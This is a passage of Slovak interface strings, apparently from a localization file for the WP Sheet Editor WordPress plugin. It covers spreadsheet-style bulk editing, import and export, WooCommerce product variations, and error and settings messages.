                  Vyhľadávanie podľa viacerých kľúčových slov, pričom kľúčové slová oddeľuje bodkočiarkou (;)Položky načítané v tabuľkeJWT nie je správne nakonfigurovaný, kontaktujte správcuStačí uložiť zmenykľúčOznačenieDĺžkaFarba odkazovNaživoNaložiťNačítať viac riadkovNačítať viac položiek pri posúvaní?Načítať viac pri posúvaníRýchlejšie načítanie riadkov: Počet riadkov, ktoré sa majú načítať na dávkuNájsť bunkuNájsť bunku.Nájsť stĺpecPrihlasovacia správaLogoHlavná farbaVykonajte ďalšie vyhľadávanieSpravovať zásobySpravovať hodnoty stĺpcov taxonómie ako identifikátory výrazov?Matematické vzorceMatematický vzorecMatematický vzorec zaokrúhlenie desatinných miestMatematická operáciaMaximálny počet variácií na kombináciu atribútovMaximálny počet slovTabuľka knižnice médiíPonukaMeta kľúče, ktoré by mali používať obslužný nástroj nekonečných serializovaných políMeta: %sMicrosoft Excel (Office 365)MiscChýbajúce stĺpceChýba číslo a časová jednotka.Chýbajúce parametre.Chýba typ príspevku alebo column_keyChýba typ príspevku, starý_kľúč_stĺpca alebo nový_kľúč_stĺpca; alebo starý a nový kľúč sú rovnaké.Chýba povinné pole „data“.Chýba povinné pole. Začnite proces znova.Dátum zmenyUpravené príspevkyMesiaceViac možnostíPresuňte všetky svoje koncepty do zverejnených príspevkov alebo do akéhokoľvek iného stavuPresuňte stovky príspevkov do košaHudbaLicenciaNEOBSAHUJENOT Obsahuje toto kľúčové slovonázovNázov tohto exportu (voliteľné)Potrebujete pomoc?Potrebujete pomoc? Pozrite si naše návodyPotrebujete pomoc? Kontaktuj násNová tabuľkaNové rozšírenie – UDALOSTI – Zobrazte/upravte udalosti, miesta konania a organizátorov v tabuľke. Rozšírené vyhľadávanie atď. Zobraziť rozšírenie )Nové rozšírenie – WooCommerce Coupons – Zobrazenie/úprava kupónov v tabuľke. Rozšírené vyhľadávanie, hromadná úprava stoviek kupónov atď. Ideálne pre vianočné obdobie. Zobraziť rozšírenie )Nová funkcia – Pridaná podpora pre rozšírené vlastné polia > polia vzťahov. Iba platení používatelia . Upgrade )Pridané nové riadkyNová hodnotaĎalšieNieNenašli sa žiadne položky.Nie sú k dispozícii žiadne ďalšie príspevky.Nie sú dostupné žiadne možnostiPre aktuálnu stránku nie sú dostupné žiadne príspevky.Nenašli sa žiadne príspevky zodpovedajúce vašim parametrom vyhľadávania. Môžete odstrániť aktívne filtre alebo skúsiť použiť iné vyhľadávanie.Nenašli sa žiadne taxonómie.Normálna bunkaNepovolené.Nepovolené. Začnite proces znova.NenájdenéNenašiel sa v košiPoznámka. Ak chcete upraviť uložené vzorce, musíte vzorec odstrániť a vytvoriť ho znova v nástroji na tvorbu vzorcov.Poznámka. Viac ako 75 kópií naraz môže preťažiť server. Robte to v malých dávkach.
                  Ak si myslíte, že váš server to zvládne, môžete pokračovať.Poznámka. Toto nie je bezpečnostná funkcia, používateľ môže upravovať všetky polia v bežnom editore na základe roly. Táto možnosť slúži na uľahčenie, takže po otvorení tabuľkového editora uvidia iba stĺpce, ktoré potrebujú. Ak ponecháte tieto polia prázdne, môžu prepínať medzi všetkými existujúcimi zobrazeniamiPoznámka. Toto funguje iba v prehliadači Google Chrome.Poznámka: Hodnoty oddeľte znakom %s
                  Aby to fungovalo, produkt musí byť premenný a mať existujúce variácie, inak sa predvolené atribúty neuložia.Poznámka: Hodnoty oddeľte znakom %s
                  Globálne atribúty odporúčame použiť, ak ich budete používať v mnohých produktoch. Vytvorte globálny atribút
                  Globálne atribúty majú v tabuľke svoje vlastné stĺpce. Môžete ich upraviť v stĺpcoch (rýchlejšie) alebo pomocou tohto kontextového okna.
                  Ak upravujete atribúty variácií, variácia musí byť povolená, inak sa atribúty neuložia.čísloOKPre ktoré typy príspevkov chcete povoliť editor?Jeden riadok variácie má nadradený produkt, ktorý neexistuje. Stĺpec "rodič" obsahuje %s: %s. Opravte ho a spustite nový importVytvárajte iba nové položky, existujúce položky ignorujteLen pre pokročilých používateľov. Čítaj viac.Ojoj, nič sa nenašloOtvorte Tabuľky Google. Kliknite tuOtvorte stránku nastaveníOtvoriť v tabuľkeOtvorte Editor tabuliekOperátorobjednaťInéĎalšie rozšíreniaIné verzie programu Microsoft ExcelRodič stránkyStránkyParameter:RodičRodičovská tabuľka:hesloPrilepenie pomocou klávesnice: Ctrl+VPauzaRežim obyčajného textu: Vykresliť ako: (Použite, iba ak je typ bunky prázdny)Skontrolujte, či nemáte neuložené zmeny. Ak máte, uložte si ich, inak budú zrušené.Opravte chybu a znova uložte.Opravte chybu v súbore a spustite nový import. Ak chcete začať od tohto konkrétneho riadka, môžete použiť „Rozšírené možnosti“ v kroku 1 importu.Zadajte názvy zobrazení tabuliek oddelené čiarkami.Vykonaním vyhľadávania načítajte riadky a začnite upravovať (použite možnosť „hľadať“ na hornom paneli nástrojov).Vyberte produkt.Vyberte zdrojový produkt.Vyberte aspoň jeden stĺpec na importVyberte typ príspevku a uložte zmeny. Po uložení zmien budete môcť vidieť zvyšok nastavení a pokynov.Aktualizujte doplnok WP Sheet Editor a všetky jeho rozšírenia na najnovšiu verziu. Funkcie pluginu "Rozbaľovacia ponuka príspevkovID príspevkuTyp príspevkuTabuľkyTabuľkový hárokTypy príspevkovUverejniť údajePost meta (t. j. metaboxy)Podmienky uverejňovania (t. j. kategórie)Typ príspevkuTyp príspevku bol odstránenýTypy príspevkovPríspevkyPredpísaťNáhľad editora frontenduPredchádzajúcePrimárne menuProSpracúva sa...Spracúva sa: %d z %d riadkov bolo exportovaných.Vlastnosti produktuAtribúty produktu sa nepoužívajú pre variácieAtribúty produktu nie sú viditeľnéGaléria produktovPropagácia. ZĽAVA %d%% len dnes.Poznámka k nákupuRýchle odpovedeRýchle vyhľadávanieRýchle nastaveniaREGEXPZnovu zarovnajte bunkyNormálna cenaNormálna cenaOdstráňte všetky filtreÚplne odstráňte stĺpec. Ak ho chcete použiť neskôr, môžete ho vypnúť presunutím do pravého stĺpcaOdstráňte duplikátyOdstrániť duplikáty podľa kódu produktu (vymazať najnovšie)Odstrániť duplikáty podľa kódu produktu (vymazať najstaršie)Odstrániť duplikáty podľa názvu (vymazať najnovšie)Odstrániť duplikáty podľa názvu (vymazať najstaršie)Odstrániť ilustračný obrázokOdstrániť pomocné správy z buniek?Odstráňte existujúcu hodnotu a nechajte pole prázdne. Čítaj viacPremenovať stĺpecNahradiťNahraďte mediálny súbor iným súboromNahraďte slovo, frázu alebo číslo novou hodnotou. Čítaj viacNahraďte existujúcu hodnotu touto hodnotou. Čítaj viacNahraďte staré krátke kódy novými vo všetkých svojich príspevkochNahraďte niektoré výrazy novými výrazmi. Čítaj viacNahraďte tieto súboryVymeňte totoNahraďte tento súborNahraďte slová alebo frázy v názvoch príspevkov, obsahu alebo iných poliachŽiadosť nie je povolená. Skúste to znova neskôr.Obnoviť nastaveniaZmeňte veľkosť stĺpcov na základe hodnôtObnovte odstránené stĺpcePočet recenziíID riadka: %d, Typ príspevku: %s vo WordPress neexistuje. Uistite sa, že váš CSV používa správny názov v stĺpci typu príspevku.ID riadka: %d. Pokúšate sa uložiť prázdny typ príspevku. Uistite sa, že váš CSV používa správny názov v stĺpci typu príspevku.Riadky boli úspešne odstránenéSpustite vyhľadávanieSEOSEO kanonická adresa URLSEO popisSEO popis na FBSEO FB obrázokSEO FB titulokSEO kľúčové slovoSEO bez indexuPrimárne SEO %sSEO TW popisSEO TW obrázokNázov SEO TWNázov SEOSKUZAČÍNA SZľavnená cenaDátum ukončenia predajaZľavnená cenaDátumy predajnej cenyDátum začiatku predajaPredajná cena dátum odDátum predajnej ceny doRovnaké ako typ príspevku v tabuľkeUložiťUložiť a pokračovaťUložiť zmenyUložte zmeny a prejdite na ďalší editor príspevkovUložte zmeny a prejdite do predchádzajúceho editora príspevkovRýchlejšie ukladanie zmien: Počet riadkov na uloženie na dávkuUložte ich ako serializované poleChcete tieto nastavenia uložiť pre budúce relácie?Uložte toto vyhľadávanieUložené sú oddelené čiarkouUložené: %sUkladajú sa zmeny, túto stránku nezatvárajte.Načítať databázu a nájsť poliaSkenovanie terazVyhľadávanieHľadať v tabuľkeHľadať variácie?Zabezpečenie a roly používateľov (voliteľné)Vyberte aktívne stĺpceVybrať všetkoVyberte všetky produkty z vyhľadávaniaVybrať stĺpec...Vyberte stĺpce na importVyberte jednotlivé stĺpce na importVyberte jednotlivé produktyVybrať produkt...Vyberte formát buniek, ak by to mal byť normálny text, nástroj na nahrávanie súborov alebo textový editor.Vyberte informácie, ktoré chcete upraviť pomocou tabuľkového editora.Vyberte druh informácií použitých v bunkách tohto stĺpca.Vyberte riadky, ktoré chcete aktualizovať.Vyberte typ úpravyVybrať...OddeľovačOddeľovač buniek taxonómieNastaviť ilustračný obrázokNastavte stovky produktov naraz ako na sklade alebo na skladeNastaviť rovnaký ilustračný obrázok vo všetkých príspevkoch v kategóriiNastavte tabuľkuNastavte hodnotuNastaveniaStránka nastavenia na frontendeNastavenie tabuľkyEditor hárkovTrieda prepravyStručný opisZobraziť rozšírené možnostiZobraziť rozšírené možnostiZobraziť všetky vlastné stavy príspevkov?Zobraziť bunky ako jednoduchý textZobraziť kľúč stĺpcaZobraziť položky zverejnené medzi týmito dátumamiZobrazujú sa riadky z vašej poslednej relácie.Jednoduchý textPreskočiť poškodené obrázky?SlimákPredáva sa jednotlivoRiešenie zvláštnych chýbNiektoré zmeny ešte nie sú uložené.Niektoré doplnky vykonávajú úlohu po vytvorení alebo aktualizácii príspevku. Existujú napríklad doplnky, ktoré zdieľajú vaše nové príspevky na vašich sociálnych profiloch, iné doplnky, ktoré upozornia používateľov na aktualizáciu príspevku atď. S týmito doplnkami môže byť problém. Ak napríklad používate doplnok, ktorý zdieľa vaše nové príspevky na vašom účte na Twitteri a aktualizujete 100 príspevkov v editore tabuliek, môžete skončiť so 100 tweetmi zdieľanými vo vašom účte na Twitteri. Preto povoľte túto možnosť, ak chcete aktualizovať / vytvárať príspevky potichu bez vykonania týchto funkcií.Niektoré riadky boli upravené na pozadí. Uložte zmeny a znova načítajte tabuľku, aby ste videli zmenyNiektoré riadky boli v tabuľke upravené. Pred použitím tejto funkcie uložte zmeny.Zoradiť abecedne vzostupneZoradiť abecedne zostupneZdrojRýchlosť a výkonArchív tabuliekAtribúty tabuľkyTabuľka pre %s %sTabuľkové zobrazeniaZoznam tabuliekNavigácia v zozname tabuliekŠtandardný produktZačnite od čísla riadku:Spustiť nový exportPostavenieskladomStav zásobRola predplatiteľa nemá povolené používať editor.Pozastaviť zrušenie platnosti vyrovnávacej pamäte objektov?TagyZnačky (oddelené čiarkou)Cieľové produkty sa nenašli.Stĺpce taxonómie, ako sú kategórie príspevkov, značky príspevkov atď., zobrazujú výrazy oddelené čiarkou. Ak v názvoch výrazov používate čiarky, použite túto možnosť na zmenu oddeľovačaRozbaľovacia ponuka taxonómieRozbaľovacia ponuka taxonómie. Iba ak zdroj údajov = podmienky uverejňovania.Položka šablóny sa nenašla alebo nie je povolené duplikovanie.PodmienkyTextTextový editor (tinymce)Ďakujeme za aktualizáciu na novú verziu doplnku.Ďakujeme, že používate náš tabuľkový editorNástroj „Vytvoriť variácie“ vám umožňuje vytvárať variácie na základe kombinácie atribútov. Predvolený limit je 200 variácií, aby ste nepreťažili váš server. Tu môžete zvýšiť limit, ak potrebujete viac variácií.Funkcia „hromadná aktualizácia“ vám umožňuje aktualizovať niekoľko príspevkov naraz
                  a môžete robiť veľa skvelých vecí, napríklad:Rozhranie REST API možno použiť na interakciu s našou tabuľkou z externých aplikácií.Tabuľka je pripravená.Tabuľka produktov WooCommerce automaticky generuje jednotky zásob a štatistiky cien zásob a zobrazuje štatistiky nad tabuľkou. To môže spomaliť list, ak máte niekoľko tisíc produktov. Ak je tabuľka príliš pomalá alebo ak sa pri načítavaní riadkov zobrazujú chyby, zakážte ju.Automatické ukladanie zlyhalo: server nie je dostupný alebo je preťažený. Chcete to skúsiť znova?Hromadná úprava bola vykonaná. Chcete znova načítať stránku, aby ste videli zmeny?V hromadnej úprave chýbajú dôležité informácie, vyplňte prosím formulár.Hromadná úprava je spustená. Prosím, nezatvárajte toto okno, kým sa proces nedokončí.Hromadná úprava bola úspešne vykonaná. Toto okno môžete zavrieťV bunke sa hodnoty zobrazia ako adresy URL a v bunkách ich môžete upraviť pomocou úplných adries URL, ID súboru alebo názvu súboru.
                  Externé adresy URL sa automaticky importujú do knižnice médií.
                  Hodnotu uložíme vo formáte vybrané tuV bunkách sa zobrazí dátum vo formáte: RRRR-MM-DDZmeny, ktoré sa majú vykonať, nie sú vratnéZmeny, ktoré sa majú vykonať, nie sú vratné. Pred pokračovaním by ste mali zálohovať databázu.Názov stĺpca zobrazený v tabuľkeVybratý stĺpec nie je platný.Predvolený spôsob používa rýchlejšiu metódu vykonávania, ale nemusí fungovať vo všetkých prípadoch. Túto možnosť použite, keď predvolený spôsob nefunguje alebo neaktualizuje všetky príspevky.Editor je dostupný len pre prihlásených užívateľov. Neznámym používateľom sa zobrazí prihlasovací formulár.Export neexistuje. Exportujte znova.Funkcia exportu nie je kompatibilná s vašou webovou stránkou. Uistite sa, že WordPress a všetky doplnky a témy sú aktuálne.Súbory nebolo možné uložiť.Funkcia importu nie je kompatibilná s vašou webovou stránkou. Uistite sa, že WordPress a všetky doplnky a témy sú aktuálne.Položku nebolo možné uložiť. Skúste to znova inokedy.Kľúč, ktorý sa použije na uloženie informácií do databázy. Toto musí byť jedinečné, iba písmená a podčiarkovníky.Posledná dávka importu zlyhala v dôsledku chyby servera, je pravdepodobnejšie, že server bol preťažený.
                  1- Môžete skúsiť importovať menej riadkov na dávku (tj importovať 2 riadky každých pár sekúnd).
                  2- Môžete spustiť nový import, niekedy funguje opätovný pokus (použite "rozšírené nastavenia" v kroku 1 importu na začatie od konkrétneho riadku).
                  3- Po tomto návode môžete zvýšiť pamäť php
                  4- Ak sa problém vyskytne po vyskúšaní 1 riadku na dávku, môžete nás kontaktovať a my vám to urobímeNačítanie trvá príliš dlho?
                  1. Môžete počkať, kým sa proces neskončí.
                  2. Súbor denníka neexistuje.Matematický vzorec nie je možné použiť. Zistili sme, že niektoré existujúce údaje nie sú číselné. Nájdené údaje: %s, ID: %dMeta pole sa nepodarilo odstrániť.Meta pole bolo úspešne odstránenéMeta kľúč sa nepodarilo premenovať.Meta kľúč bol úspešne premenovanýMožnosť vytvárať variácie pre každú kombináciu atribútov vyžaduje WooCommerce 3.0 alebo vyšší. Aktualizujte WooCommerce.Plugin označí ako použité pre variácie všetky atribúty, ktoré NEOBSAHUJÚ tieto kľúčové slová, zadajte násobok oddelený čiarkou. T.j. „auto, lietadlo“ by sa zhodovalo s výrazom „model auta, značka auta, drahé lietadlo, lietadlá“. Platí to po úprave produktu v bunkách tabuľky.Plugin označí ako viditeľné všetky atribúty, ktoré NEOBSAHUJÚ tieto kľúčové slová, zadajte násobok oddelený čiarkou. T.j. „auto, lietadlo“ by sa zhodovalo s výrazom „model auta, značka auta, drahé lietadlo, lietadlá“. Platí to po úprave produktu v bunkách tabuľky.Doplnok sa neinicializuje pre používateľské roly, ktoré tu nie sú vybraté.Náhľad je v poriadku, spustite importPlatnosť odkazu na rýchly prístup vypršala alebo neexistujeVybraný produkt nemá variácieServer nemohol spracovať našu požiadavku. Skúste neskôr prosím.Server našu požiadavku neprijal. Chybná požiadavka, skúste obnoviť stránku a skúste to znova.Server našu požiadavku neprijal. Na vykonanie tejto akcie nemáte povolenie. Prihláste sa znova.Server prekročil svoje pridelené zdroje a nie je schopný spracovať našu požiadavku.Server je zaneprázdnený a odpoveď na našu požiadavku trvala príliš dlho. Skúste neskôr prosím.Server nie je dostupný alebo je preťažený. Chcete to skúsiť znova?Server nie je dostupný alebo je preťažený. Skúste neskôr prosím.Server nemohol spracovať našu požiadavku. Chyba servera. Skúste neskôr prosím.Zdrojový produkt nemá variácie.Tabuľkový hárok automaticky generuje stĺpce pre serializované polia, ale to môže vyžadovať veľa cyklov CPU v závislosti od počtu serializovaných polí. Túto funkciu môžete vypnúť, ak sa hárok načítava príliš pomaly alebo ak sa pri načítavaní riadkov vyskytnú chyby, alebo ak nechcete vidieť stĺpce s predponou „SEIS“.Na úpravu vášho WordPress %s je možné použiť tabuľkový editor.Tabuľkový editor je veľmi výkonný a má veľa funkcií. V tomto kroku môžete povoliť funkcie, ktoré potrebujete.Tabuľka načítava iba „viditeľné riadky“ z dôvodov výkonu, takže keď posúvate nahor alebo nadol, riadky sa načítavajú dynamicky. Takto môžete „otvoriť“ tisíce príspevkov v tabuľke a bude to fungovať rýchlo. Ak však chcete použiť vyhľadávanie prehliadača na nájdenie konkrétnej bunky, musíte vypnúť lenivé načítanie, aby sa načítali všetky riadky naraz a prehliadač bude môcť bunky nájsť. Vyhľadávanie prehliadača v predvolenom nastavení nefunguje, pretože sa vytvárajú iba „viditeľné riadky“.Stĺpce taxonómie (t. j. kategórie, značky) štandardne používajú obmedzenú rozbaľovaciu ponuku na výber iba jedného výrazu a stĺpec je možné skopírovať a vložiť. Máme efektný rozbaľovací selektor, ktorý má lepšie automatické dokončovanie, umožňuje výber viacerých možností atď., ale využíva viac zdrojov servera a neumožňuje vkladanie kopírovania do týchto buniek. Môžete ho aktivovať tu, ak uprednostňujete lepšiu rozbaľovaciu ponuku pred možnosťou kopírovania a vkladania.Variácie sú pre tieto produkty:Táto farba sa použije ako pozadie pre hlavičku a pätu.Táto farba bude použitá pre odkazy ponuky, mala by byť opačná ako farba pozadia. tmavé pozadie so svetlým textom alebo svetlé pozadie s tmavým textomTento stĺpec je len pre nadradené produkty, variácie toto pole nepoužívajúTento stĺpec je len pre riadky variácií, nadradené produkty toto pole nepoužívajúTáto funkcia je dostupná ako prémiové rozšírenie.Toto je len pre pokročilých používateľov alebo ak vás náš tím podpory požiada o použitie tejto možnosti. Máme 2 spôsoby spracovania serializovaných polí: starý obslužný program (štandardne používaný, ktorý má obmedzenia) a nekonečný obslužný program serializácie (lepšie, v predvolenom nastavení nie je aktívny, aby nenarušil predchádzajúce integrácie). Túto možnosť použite, ak máte serializované polia, ktoré sa ukladajú nesprávne alebo sa nezobrazujú v tabuľke.Toto je voliteľné. Ak chcete použiť názov z adries URL, nechajte pole prázdne. Zadajte viacero mien oddelených čiarkamiToto logo sa zobrazí nad tabuľkou vo frontendeTáto ponuka sa zobrazí v pravej hornej časti nad tabuľkou.Môže to pomôcť, ak sa tabuľka nenačíta alebo sa načíta prázdna.Toto sa zobrazí, keď aktuálny používateľ nie je prihlásený a pokúsi sa zobraziť stránku s tabuľkou. Po vašej správe zobrazíme prihlasovací formulár.Ušetríte tak {clicks_count} kliknutí :)Úspora času
                  (odhad)Časová jednotkaEditor TinyMCETip. Ak ste upravili informácie z tejto lokality, mali by ste importovať upravené stĺpce a záznam_id. Neimportujte stĺpce, ktoré neboli upravenéTip. Môžeme vám pomôcť s nastavením tabuľky. Získajte okamžitú pomoc v živom rozhovore počas pracovnej dobyTip. Na stiahnutie súboru CSV a zobrazenie dostupných stĺpcov a formátu môžete použiť nástroj „export“.
                  Našu dokumentáciu si môžete prečítať tu .NázovNa vyhľadávanie medzi všetkými príspevkami použite nástroj Hľadať. Použite to na nájdenie a zvýraznenie jednej hodnoty v načítaných riadkoch v tabuľke. T.j. zvýraznite SKU alebo e-mail alebo názov.Nástroje umiestnené nad stolom.Celkové predajePreložiť samostatneZapnite toto a tabuľka automaticky uloží všetky zmeny vykonané v bunkách každé 2 minúty. Pozor, môže to spôsobiť problémy, ak sa zmeny uložia predčasne pred dokončením úprav všetkých požadovaných stĺpcov.NávodTypURL SlugNefiltrovaný kód HTMLOdznačiť všetkoZrušte výber všetkých stĺpcovAktualizujte existujúce položky, ignorujte nové položkyAktualizujte existujúcu hodnotu výsledkom matematickej operácie.
                  Výsledok sa zaokrúhli na 2 najbližšie desatinné miesta. T.j. 3,845602 sa zmení na 3,85Aktualizujte nastaveniaAktualizovaných 6 rozšírení.Nahrať obrázokNahrajte súborNahrajte súboryNahrané používateľomNahrané do tejto položkyUpsellsŠtatistiky používaniaNamiesto stránkovania použite nekonečný zoznamPoužiť ako ilustračný obrázokChcete použiť stránkovanie v tabuľke?Na variácie použite ceny z jednoduchého produktu (nadradeného).Chcete použiť samostatné stĺpce pre obrázky počas exportu a importu?Použiť pomalší spôsob vykonávania?Tento editor použite iba na úpravu obsahu, ostatné polia, ako sú značky a kategórie, by sa mali upraviť v tabuľke.Tento odkaz používajte súkromne z bezpečnostných dôvodov, platnosť tohto odkazu vyprší po jednom použití.Používa sa na variácie?Používa sa na variáciu?Rozbaľovacia ponuka používateľovPoužívateľ nie je povolenýPoužívateľ nemá povolené upravovať riadkyPoužívateľské rolyRoly používateľov, ktoré môžu používať editor tabuliekPoužívateľské menoPoužívateliaPomocou tohto nástroja môžete aktualizovať tisíce riadkov narazHodnotaHodnota v sekcii nahradenia je neplatnáPopis variácieVariácia povolená?Variácia: %sManažér variáciíPredajcavyhliadkaZobraziť rozšíreniaZobraziť galériuZobraziť tabuľkuZobraziť tabuľkyZobraziť rozšíreniaPrezrieť záznamVirtuálneViditeľnosťWP editorEditor hárkov WPPoužitie editora hárkov WPWPBakery Page BuilderWPML – duplikátWPML - JazykWPML - VzťahWPML - PrekladWPML - Priorita prekladuPozrite si tutoriálTeraz šetríme. Toto okno nezatvárajte, kým sa proces neskončí.Automaticky sme rozpoznali všetky stĺpce.Automaticky zaokrúhľujeme na 2 desatinné miesta. Tu môžete zadať ľubovoľné číslo, napríklad 1 na zaokrúhlenie na 1 desatinné miestoMôžeme skenovať databázu, nájsť nové polia a automaticky vytvárať stĺpce pre podporované polia.Vo vyhľadávacom dopyte sme nenašli riadky na aktualizáciu. Skúste iný vyhľadávací dopyt.V poli CSV a poli WP nájdeme riadky s rovnakou hodnotou.
                  T.j. Produkty s rovnakým SKU alebo ID.Našli sme podobné stĺpce. Chcete na nich použiť rovnakú akciu? {columns}Na našom blogu máme +200 tutoriálov a návodovMáme rozšírenie na zobrazenie tejto tabuľky na frontende. Môžete vybrať stĺpce, ktoré sa majú zobraziť, a vybrať tabuľkové nástroje pre používateľov frontendu (vyhľadávanie, hromadné, úpravy, import, export atď.). Napríklad:Súbor importujeme v dávkach (t.j. 4 riadky každých pár sekúnd). Keď jedna dávka zlyhá, zvyčajne import pozastavíme a opýtame sa vás, či chcete import zopakovať alebo zrušiť. Túto možnosť vyberte, ak chcete automaticky opakovať. Pozor, v kroku 3 importu musíte vybrať možnosť aktualizácie existujúcich riadkov, aby sme mohli zopakovať a preskočiť to, čo bolo importované úspešne, a skúsiť len to, čo zlyhalo, ak v kroku 3 importu nevyberiete možnosť aktualizácie, každý opakovaný pokus môže duplikovať niektoré predtým importované riadky.Stĺpce tabuľky obmedzujeme z dôvodu výkonu, aby sa predišlo načítaniu tisícok stĺpcov v tabuľke. Tento limit môžete zvýšiť, ak chcete zobraziť viac stĺpcov. Predvolená hodnota: 310Aby sme odstránili variácie, musíme znova načítať tabuľku. Najprv uložte zmeny, inak tieto zmeny stratíte. Chcete teraz znova načítať?Aby sme načítali variácie, musíme znova načítať riadky tabuľky. Najprv uložte zmeny, inak tieto zmeny stratíte. Chcete teraz znova načítať?Stránkovanie používame na využitie malého množstva serverových zdrojov. Najprv načítame 20 riadkov a pri každom posúvaní nadol načítame 20 ďalších. Toto číslo môžete zvýšiť, aby ste načítali viac riadkov na stránku. POZOR Načítanie viac ako 200 riadkov na stránku môže preťažiť váš server. Ak zistíme, že server je preťažený, automaticky sa nastaví na 10 riadkov na stránku.Používame stránkovanie. V predvolenom nastavení načítame 20 riadkov na stránku (pri každom rolovaní nadol). Pri každom posúvaní nadol môžete číslo zvýšiť, aby ste načítali viac riadkov.Nový súbor pripojíme k existujúcim súborom v produktoch. Zadajte iba adresu URL súboru, môžete zadať viacero adries URL oddelených čiarkou.Nové súbory pripojíme k existujúcim mediálnym súborom.Vybraný riadok (riadky) z databázy úplne vymažeme. Ak ich chcete neskôr obnoviť, mali by ste si ich predtým zálohovať. Chcete ich odstrániť?Toto meta pole vymažeme z databázy a stratíte hodnoty uložené v tomto poli vo všetkých riadkoch. Mali by ste si vytvoriť zálohu, aby ste ju mohli v budúcnosti obnoviť. Chcete pokračovať v odstraňovaní?Zobrazíme všetky stĺpce, ktoré boli vymazané alebo deaktivované, premenované stĺpce zobrazia pôvodné názvy, znova preskenujeme databázu, aby sme znova našli stĺpce, a rýchlosť/rozšírené nastavenia sa vrátia na predvolené hodnoty. Ovplyvní to iba nastavenia nášho pluginu a neovplyvní to údaje upravované pomocou listu.Nové súbory pripojíme k existujúcim mediálnym súborom.Existujúci mediálny súbor nahradíme týmto súborom.Existujúce mediálne súbory nahradíme týmito súbormi.Existujúce podmienky nahradíme týmito podmienkami.Uložíme aktuálny vyhľadávací dopyt a nastavenia exportu a tento export môžete v budúcnosti vykonať jedným kliknutím pomocou rozbaľovacej ponuky v exportnej ponukeTieto súbory uložíme. Existujúce súbory budú prepísané. Zadajte iba adresu URL súboru, môžete zadať viacero adries URL oddelených čiarkou.Túto skupinu stĺpcov si uložíme ako tabuľkové zobrazenie a na paneli s nástrojmi môžete prepínať medzi tabuľkamitýždňovHmotnosťVitajte v editore hárkov WPAkú aplikáciu použijete na úpravu tohto súboru? (voliteľné)Aký atribút chcete upraviť?Aké stĺpce chcete exportovať?Aký komponent potrebujete?Aký formát dátumu chcete uložiť do databázy?Aké pole chcete upraviť?Aké informácie chcete upraviť na frontende?Aké príspevky vyžadujú tento stĺpec v tabuľke?Aké nastavenie chcete zmeniť?Aká hodnota sa uloží, keď je začiarknuté políčko?Aká hodnota sa uloží, keď nie je začiarknuté políčko?Čo je nové v editore hárkov WPKeď sa hárok načíta a uloží obsah príspevku, spustíme ho cez wpautop, aby sme predišli problémom s prerušovaním riadkov. Môžete to vypnúť, ak nechcete vidieť/ukladať značky p v obsahu.Keď sa hárok načíta, otvoríme ho na celú obrazovku a vy máte možnosť ukončiť režim celej obrazovky. Aktivujte túto možnosť a hárok neotvoríme na celej obrazovke.Keď je táto možnosť povolená, na koniec stránky sa do spodnej časti tabuľky načíta viac položiekKeď je táto možnosť povolená, na koniec stránky sa do spodnej časti tabuľky načíta viac položiek. Môžete povoliť / zakázať aj v tabuľke.Keď je toto povolené, variácie produktov sa zobrazia a budete ich môcť upravovať.Keď vymažete príspevky, stránky, udalosti, produkty, objednávky, kupóny a iné typy príspevkov, môžete si vybrať, koľko sa ich z každej dávky odstráni. Ak chcete dokončiť rýchlejšie, použite vyššie číslo. Predvolená hodnota je 500Keď upravujete veľké množstvo príspevkov v tabuľkovom editore, nemôžeme uložiť všetky zmeny naraz, takže to robíme v dávkach. Váš server však nedokáže spracovať všetky dávky jednu po druhej, takže po každej dávke musíme počkať niekoľko sekúnd, aby sme váš server trochu prerušili. Odporúčaná hodnota je 6 sekúnd, môžete si ju upraviť tak, ako vám najlepšie vyhovuje. Ak sa pri ukladaní vyskytnú chyby, mali by ste zvýšiť počet, aby váš server mal dlhšiu prestávku po každej dávkeKeď upravujete veľké množstvo príspevkov v tabuľkovom editore, nemôžeme uložiť všetky zmeny naraz, takže to robíme v dávkach. Odporúčaná hodnota je 4 , čo znamená, že naraz spracujeme iba 4 príspevky. Môžete si ho upraviť tak, ako vám to najlepšie vyhovuje. Ak sa pri ukladaní vyskytnú chyby, mali by ste číslo znížiťPo dokončení tohto kroku môžete začať používať frontend editor. Frontendovú stránku môžete pridať do ponuky alebo zdieľať odkaz so svojimi používateľmi.Keď máte 1 000 príspevkov , možno budete chcieť otvoriť tabuľku a začať upravovať od príspevku 200. Táto možnosť vám umožňuje preskočiť veľa riadkov. DÔLEŽITÉ. Používame stránkovanie, takže zobrazíme stránku najbližšie k tomuto číslu. Napríklad. Ak načítate 10 riadkov na stranu a zadáte 1205 ako odsadenie, hárok začne od strany 120 (index 1200), pretože ide o stranu najbližšie k definovanému odsadeniu.Keď importujete obrázok pomocou adries URL FTP, obrázok sa importuje zakaždým a môžete skončiť s duplikátmi v knižnici médií. Aktivujte túto možnosť, ak chcete opätovne použiť obrázky v knižnici médií s rovnakým názvom súboru a vyhnúť sa opätovnému sťahovaniu obrázka FTP pri budúcich importoch. Deaktivujte túto možnosť, ak chcete, aby boli obrázky pri budúcich importoch aktualizované.Keď načítate tabuľku, získame všetky stĺpce naraz z databázy, aby to bolo rýchlejšie, nazýva sa to predbežné načítanie. To môže spôsobiť problémy, ak máte tisíce stĺpcov alebo zriedkavé nastavenia databázy.Keď otvoríte tabuľku, automaticky načítame riadky, takže môžete okamžite začať s úpravami. Aktivujte túto možnosť, ak chcete vyhľadávať riadky a načítať manuálne.Keď používate viac stránok WordPress a odstránite používateľa v tabuľke používateľov, v predvolenom nastavení odstránime používateľa iba z aktuálnej lokality, ale používateľ zostane v sieti. Aktivujte túto možnosť, ak chcete odstrániť používateľský účet z celej sieteKtoré duplikáty chcete odstrániť?Ktoré variácie chcete skopírovať?šírkaS naším editorom budete môcť upravovať všetky informácie o
